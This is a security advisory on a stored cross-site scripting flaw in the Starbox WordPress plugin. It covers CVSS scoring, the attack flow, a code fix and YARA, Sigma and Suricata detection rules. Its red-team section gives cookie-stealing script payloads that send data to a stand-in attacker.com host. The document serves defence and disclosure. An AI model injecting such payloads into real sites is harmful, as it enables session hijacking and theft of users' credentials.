CVE-2023-6806

Executive Summary

CVE-2023-6806 is a Stored Cross-Site Scripting (XSS) vulnerability in the Starbox WordPress plugin, affecting all versions up to and including 3.4.8. The flaw resides in the Job Settings user profile fields, where insufficient input sanitization and output escaping allow authenticated attackers with subscriber-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is part of the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber-level)
• User Interaction: None
• Scope: Changed (affects other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium – Exploitation requires authentication but can lead to persistent compromise of user sessions and data.

Deep Dive & Mechanics

The Starbox plugin provides user profile fields, including a "Job Settings" section. The vulnerability arises because the plugin does not properly sanitize user input or escape output when rendering these fields. An authenticated attacker with subscriber-level access can inject malicious JavaScript into their profile's Job Settings field. When an administrator or other user views the attacker's profile or a page that displays the Starbox widget, the injected script executes in the context of the victim's browser.

The attack flow:

1. Attacker logs in with subscriber-level credentials.
2. Attacker navigates to their profile page and modifies the Job Settings field to include a malicious payload, e.g., <script>alert('XSS')</script>.
3. The plugin stores the payload in the WordPress database without proper sanitization.
4. When a victim (e.g., admin) views the attacker's profile or a page with the Starbox widget, the payload is rendered and executed.

This is a classic stored XSS vulnerability, which can be used to steal cookies, perform actions on behalf of the victim, or deface the site.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.4.8): The plugin likely uses echo or print to output user profile fields without escaping. For example:

echo get_user_meta($user_id, 'starbox_job_title', true);

This directly outputs the stored value, allowing script execution.

Patched Code (Hypothetical): A fix would involve escaping the output using WordPress functions:

echo esc_html(get_user_meta($user_id, 'starbox_job_title', true));

Additionally, input should be sanitized on save:

update_user_meta($user_id, 'starbox_job_title', sanitize_text_field($_POST['starbox_job_title']));

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: A WordPress site with Starbox plugin <= 3.4.8, a subscriber-level account.
2. Steps:
   • Log in as subscriber.
   • Go to /wp-admin/profile.php.
   • Locate the "Job Settings" field (e.g., "Job Title").
   • Inject payload: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.
   • Save profile.
   • Wait for an admin to view the profile or a page displaying the Starbox widget.
3. Payload Example:

   <script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>
   

Blue Team (Detection & Mitigation)

1. Detection: Monitor for unusual profile updates, especially from low-privilege users. Look for script tags in user meta fields.
2. Mitigation: Disable the Starbox plugin until a patch is available. Implement a Web Application Firewall (WAF) rule to block common XSS patterns in user profile fields.
3. Hunting: Search the database for <script> tags in wp_usermeta where meta_key contains 'starbox'.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
• Host: Presence of <script> tags in wp_usermeta table with meta_key like starbox_job_title.
• Logs: Unusual profile update events from subscriber accounts.
• File: Modified plugin files (though unlikely in this case).

Detection Engineering

YARA Rule

rule CVE_2023_6806_Starbox_XSS {
    meta:
        description = "Detects stored XSS payloads in Starbox plugin user meta"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-6806"
    strings:
        $script_tag = /<script[^>]*>.*<\/script>/i
        $starbox_meta = /starbox_job_title|starbox_job_settings/i
    condition:
        $script_tag and $starbox_meta
}

Sigma Rule

title: CVE-2023-6806 Starbox Stored XSS Detection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential stored XSS via Starbox plugin user profile fields
author: Valters IT
date: 2025/04/10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # Example: WordPress user meta update
        MetaKey|contains: 'starbox'
        MetaValue|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in user profiles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-6806 Starbox Stored XSS Exfiltration"; flow:to_server,established; content:"/wp-admin/profile.php"; http_uri; content:"starbox_job_title"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Starbox plugin until a patched version is released.
2. Short-term: Implement a WAF rule to block XSS payloads in user profile fields.
3. Long-term: Apply input sanitization (sanitize_text_field()) and output escaping (esc_html()) to all user meta fields in the plugin.
4. Monitoring: Regularly audit user meta for suspicious content and review access logs for unusual profile updates.

Valters IT – Securing digital frontiers, one CVE at a time.